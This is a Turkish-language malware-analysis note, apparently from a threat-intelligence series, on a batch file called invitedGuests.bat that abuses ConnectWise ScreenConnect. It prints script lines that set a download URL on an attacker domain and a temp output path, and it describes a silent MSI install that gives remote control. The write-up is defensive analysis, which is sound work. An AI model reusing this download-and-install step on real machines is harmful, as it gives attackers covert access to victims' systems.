ScreenConnect Abuse -- invitedGuests.bat hbdhfijnsgjnds.top C2, Yasal RMM Aracı Kötüye Kullanımı | Orta

파일 Kimliği

"Davetli Konuklar" Sosyal Mühendislik

invitedGuests.bat
-- "invitedGuests" = "Davetli Konuklar"
-- Senaryo: etkinlik yöneticisi/sekreter → davetli liste belgesi gibi gösterilmiş
-- .bat uzantısı → çift tıklanınca çalışır (Windows Script Exec.)
-- Hedef profil: kurumsal etkinlik organizatörleri, resepsiyon personeli

DGA Benzeri C2: hbdhfijnsgjnds.top

https://admin.hbdhfijnsgjnds.top/Bin/ScreenConnect.ClientSetup.msi
-- "hbdhfijnsgjnds" = 14 karakter rastgele harf (DGA benzeri)
-- admin.hbdhfijnsgjnds.top = saldırgan kontrol paneli subdomain'i
-- /Bin/ScreenConnect.ClientSetup.msi = meşru yazılım adı!
-- ?e=Access... = davet/erişim kodu parametresi

BAT Script İçeriği

set "MY_URL=https://admin.hbdhfijnsgjnds.top/Bin/ScreenConnect.ClientSetup.msi?e=Access..."
set "OUTPUT_FILE=%temp%\update_payload.msi"
-- "%temp%\update_payload.msi" = kötü niyetli isim seçimi ("update" = güncelleme gibi görünür)
-- MSI indirilir → "sessiz kurulum" (silent install) → ScreenConnect kurulur
-- Kurbana "yazılım güncellendi" görünür, arka planda saldırgan tam erişim kazanır

Meşru RMM Araç Kötüye Kullanımı

ConnectWise ScreenConnect (eski adıyla Control):
-- Meşru uzak masaüstü / IT destek yazılımı (1990'lardan beri)
-- AV imzaları "meşru imzalı" binary → genellikle kaçırılır
-- Saldırgan kendi instance'ında ScreenConnect server kurar (admin panel)
-- Kurban makinesine ScreenConnect client kurulunca: tam erişim
-- BleepingComputer 2024: ScreenConnect CVE-2024-1709 ile 0-day saldırıları
-- Benzer tehdit: NetSupportRAT (batch 56), AnyDesk abuse, TeamViewer abuse

IOC